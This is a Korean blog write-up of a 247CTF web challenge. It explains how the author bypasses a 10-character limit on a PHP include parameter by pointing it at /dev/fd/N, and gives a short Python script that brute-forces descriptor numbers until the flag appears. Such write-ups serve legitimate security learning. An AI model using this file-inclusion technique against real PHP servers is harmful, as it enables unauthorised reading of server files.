247CTF 에서 제공하는
MODERATE 난이도의 WEB 문제
반응형
문제 페이지에 접속하면
이런 화면이 나온다.
PHP 코드가 보여지는데
내용을 보면 /tmp/flag.txt 파일에 플래그가 있다는것을 알 수 있다.
GET 메소드로 include 파라미터가 있어야하고,
include 인자의 길이가 10 이하여야
include 함수로 서버 내부 파일을 읽어올 수 있는듯 하다.
10글자 길이제한이 없다면
단순히 URL 에 ?include=/tmp/flag.txt 를 추가하면 되겠지만
10글자 제한 때문에 안된다.
https://bugs.php.net/bug.php?id=53465
조금 찾아보니 이런 내용을 찾을 수 있었다.
PHP는 파일 디스크립터를 열 수 없는데
/dev/fd/ 나 /proc/self/fd/ 를 이용해
파일로 명령된 디스크립터의 내용을 읽을 수 있다는 것이다.
그럼 간단하게
파이썬을 이용해서 /dev/fd/1 부터 숫자를 1씩 늘려가면서
brute force 해보면 될 것이다.
import requests
base = 'https://<문제서버주소>/?include=/dev/fd/'
for i in range(100):
url = base + str(i)
r = requests.get(url)
if '247' in r.text:
print(r.text, i)
플래그 포맷이 247로 시작하기 때문에
해당 문자열이 보이면
출력하도록 코드를 작성했다.
코드를 실행하고 잠시 기다리면
플래그를 확인할 수 있다.
반응형
'워게임 > 247CTF' 카테고리의 다른 글
[247CTF] HIDDEN PAINTING - MISC / Pygame (189) | 2023.10.24 |
---|---|
[247CTF] TRY AND CATCH - MISC / Python (190) | 2023.10.20 |
[247CTF] THE FLAG LOTTERY - MISC / Python (212) | 2023.10.12 |
[247CTF] THE ENCRYPTED PASSWORD - 리버싱 / IDA (200) | 2023.10.10 |
[247CTF] THE MORE THE MERRIER - 리버싱 / HxD (137) | 2023.10.08 |